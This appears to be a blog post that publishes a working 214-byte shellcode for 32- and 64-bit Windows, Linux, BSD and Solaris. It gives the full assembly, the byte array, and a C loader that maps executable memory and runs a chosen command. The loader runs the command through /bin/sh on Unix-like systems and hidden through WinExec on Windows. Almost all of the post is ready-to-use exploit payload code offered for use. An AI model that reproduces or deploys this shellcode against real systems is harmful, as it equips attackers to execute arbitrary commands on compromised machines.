Shellcode: Execute command for x32/x64 Linux / Windows / BSD

Introduction

I was hoping to present here a code that would execute perfectly on 32/64-bit Linux/BSD and Windows systems derived from code discussed here

The 64-bit code will execute on all 3 systems but not 32-bit versions of BSD because the system call convention and numbers are different to 32-bit versions of Linux which could be updated but how many systems still run 32-bit? Less than 10%?

Detection

wos attempts to identify an OS running on x86 using some simple checks of segment registers, stack pointer, errors returned by system calls. It hasn’t been tested extensively but feel free to try out on some x86 based system and tell me what results you get.

It works from Windows NT up to Windows 10, Linux, FreeBSD, OpenBSD, OSX and Solaris x86.

The following isn’t entirely optimized although the windows code is derived from code by Peter Ferrie here.

Just to note, any command executed on Windows systems will be hidden.

;  Execute a command
;  Works on 32/64-bit versions of Windows and Linux
;
;  yasm -fbin exec.asm -oexec.bin
;  nasm -fbin exec.asm -oexec.bin
;
;  214 bytes
;
    bits    32
    
    push    esi
    push    edi
    push    ebx
    push    ebp
    
    xor     ecx, ecx          ; ecx=0
    mul     ecx               ; eax=0, edx=0
    
    push    eax
    push    eax
    push    eax
    push    eax
    push    eax               ; setup homespace for win64
    jmp     l_sb              ; load command
    
get_os:
    pop     edi               ; edi=cmd, argv
    mov     cl, 7
    ; initialize cmd/argv regardless of OS
    push    eax               ; argv[3]=NULL;
    push    edi               ; argv[2]=cmd
    repnz   scasb             ; skip command line
    stosb                     ; zero terminate
    push    edi               ; argv[1]="-c", 0
    scasw                     ; skip option
    stosb                     ; zero terminate
    push    edi               ; argv[0]="/bin//sh", 0
    push    esp               ; save argv
    push    edi               ; save pointer to "/bin//sh", 0
    
    inc     ecx               ; ignored on x64
    jecxz   gos_x64           ; if ecx==0 we're 64-bit
    
    ; we're 32-bit
    ; if gs is zero, we're native 32-bit windows
    mov     cx, gs
    jecxz   win_cmd
    
    ; if eax is zero after right shift of SP, ASSUME we're on windows
    push    esp
    pop     eax
    shr     eax, 24
    jz      win_cmd
    
    ; we're 32-bit Linux
    mov     al, 11            ; eax=sys_execve
    cdq
    pop     ebx               ; ebx="/bin//sh", 0
    pop     ecx               ; ecx=argv
    
    push    edx               ; environment
    push    ecx               ; argv
    push    ebx               ; "/bin//sh", 0
    push    esp
    mov     di, gs
    shr     di, 8
    jnz     solaris_x86
    int     0x80
solaris_x86:
    int     0x91
    
    ; we're 64-bit, execute syscall and see what
    ; error returned
gos_x64:
    mov     al, 6            ; eax=sys_close for Linux/BSD
    push    -1
    pop     edi
    syscall
    cmp     al, 5            ; Windows 7
    je      win_cmd
    cmp     al, 8            ; Windows 10
    je      win_cmd
    
    push    59               ; sys_execve
    pop     eax
    cdq                      ; penv=0
    pop     edi              ; rdi="/bin//sh", 0
    pop     esi              ; rsi=argv
    syscall
l_sb:
    jmp     ld_cmd
    ; following code is derived from Peter Ferrie's calc shellcode
    ; i've modified it to execute commands
win_cmd:
    pop     eax               ; eax="/bin//sh", 0
    pop     eax               ; eax=argv
    pop     eax               ; eax="/bin//sh", 0
    pop     eax               ; eax="-c", 0
    pop     ecx               ; ecx=cmd
    pop     eax               ; eax=0
    
    inc     eax
    xchg    edx, eax
    jz      x64

    push    eax               ; will hide
    push    ecx               ; cmd
    
    mov     esi, [fs:edx+2fh]
    mov     esi, [esi+0ch]
    mov     esi, [esi+0ch]
    lodsd
    mov     esi, [eax]
    mov     edi, [esi+18h]
    mov     dl, 50h
    jmp     lqe
    bits 64
x64:
    mov     dl, 60h
    mov     rsi, [gs:rdx]
    mov     rsi, [rsi+18h]
    mov     rsi, [rsi+10h]
    lodsq
    mov     rsi, [rax]
    mov     rdi, [rsi+30h]
lqe:
    add     edx, [rdi+3ch]
    mov     ebx, [rdi+rdx+28h]
    mov     esi, [rdi+rbx+20h]
    add     rsi, rdi
    mov     edx, [rdi+rbx+24h]
fwe:
    movzx   ebp, word [rdi+rdx]
    lea     rdx, [rdx+2]
    lodsd
    cmp     dword [rdi+rax], 'WinE'
    jne     fwe
    
    mov     esi, [rdi+rbx+1ch]
    add     rsi, rdi
    
    mov     esi, [rsi+rbp*4]
    add     rdi, rsi
    cdq
    call    rdi
cmd_end:
    bits    32
    pop     eax
    pop     eax
    pop     eax
    pop     eax
    pop     eax
    pop     ebp
    pop     ebx
    pop     edi
    pop     esi
    ret
ld_cmd:
    call    get_os
    ; place command here
    ;db     "notepad", 0xFF
    ; do not change anything below  
    ;db      "-c", 0xFF, "/bin//sh", 0

Test Unit

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>

#if defined (_WIN32) || defined(_WIN64)
#define WIN
#include <windows.h>
#else
#include <sys/mman.h>
#endif


#define CMD_LEN_OFS 0x10+1
#define EXEC_SIZE 214

char exec[] = {
  /* 0000 */ "\x56"                         /* push esi                        */
  /* 0001 */ "\x57"                         /* push edi                        */
  /* 0002 */ "\x53"                         /* push ebx                        */
  /* 0003 */ "\x55"                         /* push ebp                        */
  /* 0004 */ "\x31\xc9"                     /* xor ecx, ecx                    */
  /* 0006 */ "\xf7\xe1"                     /* mul ecx                         */
  /* 0008 */ "\x50"                         /* push eax                        */
  /* 0009 */ "\x50"                         /* push eax                        */
  /* 000A */ "\x50"                         /* push eax                        */
  /* 000B */ "\x50"                         /* push eax                        */
  /* 000C */ "\x50"                         /* push eax                        */
  /* 000D */ "\xeb\x4b"                     /* jmp 0x5a                        */
  /* 000F */ "\x5f"                         /* pop edi                         */
  /* 0010 */ "\xb1\x07"                     /* mov cl, 0x7                     */
  /* 0012 */ "\x50"                         /* push eax                        */
  /* 0013 */ "\x57"                         /* push edi                        */
  /* 0014 */ "\xf2\xae"                     /* repne scasb                     */
  /* 0016 */ "\xaa"                         /* stosb                           */
  /* 0017 */ "\x57"                         /* push edi                        */
  /* 0018 */ "\x66\xaf"                     /* scasw                           */
  /* 001A */ "\xaa"                         /* stosb                           */
  /* 001B */ "\x57"                         /* push edi                        */
  /* 001C */ "\x54"                         /* push esp                        */
  /* 001D */ "\x57"                         /* push edi                        */
  /* 001E */ "\x41"                         /* inc ecx                         */
  /* 001F */ "\xe3\x22"                     /* jecxz 0x43                      */
  /* 0021 */ "\x66\x8c\xe9"                 /* mov cx, gs                      */
  /* 0024 */ "\xe3\x36"                     /* jecxz 0x5c                      */
  /* 0026 */ "\x54"                         /* push esp                        */
  /* 0027 */ "\x58"                         /* pop eax                         */
  /* 0028 */ "\xc1\xe8\x18"                 /* shr eax, 0x18                   */
  /* 002B */ "\x74\x2f"                     /* jz 0x5c                         */
  /* 002D */ "\xb0\x0b"                     /* mov al, 0xb                     */
  /* 002F */ "\x99"                         /* cdq                             */
  /* 0030 */ "\x5b"                         /* pop ebx                         */
  /* 0031 */ "\x59"                         /* pop ecx                         */
  /* 0032 */ "\x52"                         /* push edx                        */
  /* 0033 */ "\x51"                         /* push ecx                        */
  /* 0034 */ "\x53"                         /* push ebx                        */
  /* 0035 */ "\x54"                         /* push esp                        */
  /* 0036 */ "\x66\x8c\xef"                 /* mov di, gs                      */
  /* 0039 */ "\x66\xc1\xef\x08"             /* shr di, 0x8                     */
  /* 003D */ "\x75\x02"                     /* jnz 0x41                        */
  /* 003F */ "\xcd\x80"                     /* int 0x80                        */
  /* 0041 */ "\xcd\x91"                     /* int 0x91                        */
  /* 0043 */ "\xb0\x06"                     /* mov al, 0x6                     */
  /* 0045 */ "\x6a\xff"                     /* push 0xffffffff                 */
  /* 0047 */ "\x5f"                         /* pop edi                         */
  /* 0048 */ "\x0f\x05"                     /* syscall                         */
  /* 004A */ "\x3c\x05"                     /* cmp al, 0x5                     */
  /* 004C */ "\x74\x0e"                     /* jz 0x5c                         */
  /* 004E */ "\x3c\x08"                     /* cmp al, 0x8                     */
  /* 0050 */ "\x74\x0a"                     /* jz 0x5c                         */
  /* 0052 */ "\x6a\x3b"                     /* push 0x3b                       */
  /* 0054 */ "\x58"                         /* pop eax                         */
  /* 0055 */ "\x99"                         /* cdq                             */
  /* 0056 */ "\x5f"                         /* pop edi                         */
  /* 0057 */ "\x5e"                         /* pop esi                         */
  /* 0058 */ "\x0f\x05"                     /* syscall                         */
  /* 005A */ "\xeb\x75"                     /* jmp 0xd1                        */
  /* 005C */ "\x58"                         /* pop eax                         */
  /* 005D */ "\x58"                         /* pop eax                         */
  /* 005E */ "\x58"                         /* pop eax                         */
  /* 005F */ "\x58"                         /* pop eax                         */
  /* 0060 */ "\x59"                         /* pop ecx                         */
  /* 0061 */ "\x58"                         /* pop eax                         */
  /* 0062 */ "\x40"                         /* inc eax                         */
  /* 0063 */ "\x92"                         /* xchg edx, eax                   */
  /* 0064 */ "\x74\x16"                     /* jz 0x7c                         */
  /* 0066 */ "\x50"                         /* push eax                        */
  /* 0067 */ "\x51"                         /* push ecx                        */
  /* 0068 */ "\x64\x8b\x72\x2f"             /* mov esi, [fs:edx+0x2f]          */
  /* 006C */ "\x8b\x76\x0c"                 /* mov esi, [esi+0xc]              */
  /* 006F */ "\x8b\x76\x0c"                 /* mov esi, [esi+0xc]              */
  /* 0072 */ "\xad"                         /* lodsd                           */
  /* 0073 */ "\x8b\x30"                     /* mov esi, [eax]                  */
  /* 0075 */ "\x8b\x7e\x18"                 /* mov edi, [esi+0x18]             */
  /* 0078 */ "\xb2\x50"                     /* mov dl, 0x50                    */
  /* 007A */ "\xeb\x17"                     /* jmp 0x93                        */
  /* 007C */ "\xb2\x60"                     /* mov dl, 0x60                    */
  /* 007E */ "\x65\x48"                     /* dec eax                         */
  /* 0080 */ "\x8b\x32"                     /* mov esi, [edx]                  */
  /* 0082 */ "\x48"                         /* dec eax                         */
  /* 0083 */ "\x8b\x76\x18"                 /* mov esi, [esi+0x18]             */
  /* 0086 */ "\x48"                         /* dec eax                         */
  /* 0087 */ "\x8b\x76\x10"                 /* mov esi, [esi+0x10]             */
  /* 008A */ "\x48"                         /* dec eax                         */
  /* 008B */ "\xad"                         /* lodsd                           */
  /* 008C */ "\x48"                         /* dec eax                         */
  /* 008D */ "\x8b\x30"                     /* mov esi, [eax]                  */
  /* 008F */ "\x48"                         /* dec eax                         */
  /* 0090 */ "\x8b\x7e\x30"                 /* mov edi, [esi+0x30]             */
  /* 0093 */ "\x03\x57\x3c"                 /* add edx, [edi+0x3c]             */
  /* 0096 */ "\x8b\x5c\x17\x28"             /* mov ebx, [edi+edx+0x28]         */
  /* 009A */ "\x8b\x74\x1f\x20"             /* mov esi, [edi+ebx+0x20]         */
  /* 009E */ "\x48"                         /* dec eax                         */
  /* 009F */ "\x01\xfe"                     /* add esi, edi                    */
  /* 00A1 */ "\x8b\x54\x1f\x24"             /* mov edx, [edi+ebx+0x24]         */
  /* 00A5 */ "\x0f\xb7\x2c\x17"             /* movzx ebp, word [edi+edx]       */
  /* 00A9 */ "\x48"                         /* dec eax                         */
  /* 00AA */ "\x8d\x52\x02"                 /* lea edx, [edx+0x2]              */
  /* 00AD */ "\xad"                         /* lodsd                           */
  /* 00AE */ "\x81\x3c\x07\x57\x69\x6e\x45" /* cmp dword [edi+eax], 0x456e6957 */
  /* 00B5 */ "\x75\xee"                     /* jnz 0xa5                        */
  /* 00B7 */ "\x8b\x74\x1f\x1c"             /* mov esi, [edi+ebx+0x1c]         */
  /* 00BB */ "\x48"                         /* dec eax                         */
  /* 00BC */ "\x01\xfe"                     /* add esi, edi                    */
  /* 00BE */ "\x8b\x34\xae"                 /* mov esi, [esi+ebp*4]            */
  /* 00C1 */ "\x48"                         /* dec eax                         */
  /* 00C2 */ "\x01\xf7"                     /* add edi, esi                    */
  /* 00C4 */ "\x99"                         /* cdq                             */
  /* 00C5 */ "\xff\xd7"                     /* call edi                        */
  /* 00C7 */ "\x58"                         /* pop eax                         */
  /* 00C8 */ "\x58"                         /* pop eax                         */
  /* 00C9 */ "\x58"                         /* pop eax                         */
  /* 00CA */ "\x58"                         /* pop eax                         */
  /* 00CB */ "\x58"                         /* pop eax                         */
  /* 00CC */ "\x5d"                         /* pop ebp                         */
  /* 00CD */ "\x5b"                         /* pop ebx                         */
  /* 00CE */ "\x5f"                         /* pop edi                         */
  /* 00CF */ "\x5e"                         /* pop esi                         */
  /* 00D0 */ "\xc3"                         /* ret                             */
  /* 00D1 */ "\xe8\x39\xff\xff\xff"         /* call 0xf                        */
};

// save code to binary file
void bin2file (uint8_t bin[], size_t len)
{
  FILE *out=fopen ("sh_cmd.bin", "wb");
  if (out!=NULL)
  {
    fwrite (bin, 1, len, out);
    fclose (out);
  }
}
// allocate read/write and executable memory
// copy data from code and execute
void xcode(void *code, size_t code_len, char *cmd, size_t cmd_len)
{
  void *bin;
  uint8_t *p;
  char args[]="\xFF-c\xFF/bin//sh\x00";
  size_t arg_len;
  
  arg_len=strlen(args) + 1;
  
  printf ("[ executing code...\n");
    
#ifdef WIN
  bin=VirtualAlloc (0, code_len + cmd_len + arg_len, 
    MEM_COMMIT, PAGE_EXECUTE_READWRITE);
#else
  bin=mmap (0, code_len + cmd_len + arg_len, 
    PROT_EXEC | PROT_WRITE | PROT_READ, 
    MAP_ANON  | MAP_PRIVATE, -1, 0);
#endif
  if (bin!=NULL)
  {
    p=(uint8_t*)bin;
    
    memcpy (p, code, code_len);
    // set the cmd length
    p[CMD_LEN_OFS] = (uint8_t)cmd_len;
    // copy cmd
    memcpy ((void*)&p[code_len], cmd, cmd_len);
    // copy argv
    memcpy ((void*)&p[code_len+cmd_len], args, arg_len);
    
    //DebugBreak();
    bin2file(bin, code_len+cmd_len+arg_len);
    
    // execute
    ((void(*)())bin)();
    
#ifdef WIN
    VirtualFree (bin, code_len+cmd_len+arg_len, MEM_RELEASE);
#else
    munmap (bin, code_len+cmd_len+arg_len);
#endif
  }
}

int main(int argc, char *argv[])
{
    size_t len;
    char   *cmd;
    
    if (argc != 2) {
      printf ("\n  usage: xcmd <command>\n");
      return 0;
    }
    
    cmd=argv[1];
    len=strlen(cmd);
    
    if (len==0 || len>255) {
      printf ("\n  invalid command length: %i (must be between 1 and 255)", len);
      return 0;
    }
    
    xcode(exec, EXEC_SIZE, cmd, len);
    
    return 0;
}

See repository here for code and any future updates.

Advertisements
This entry was posted in assembly, bsd, linux, shellcode, windows and tagged , , , , , . Bookmark the permalink.

One Response to Shellcode: Execute command for x32/x64 Linux / Windows / BSD

  1. Pingback: Un shellcode multi-plateforme 32 et 64 bits | .:[ d4 n3wS ]:.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s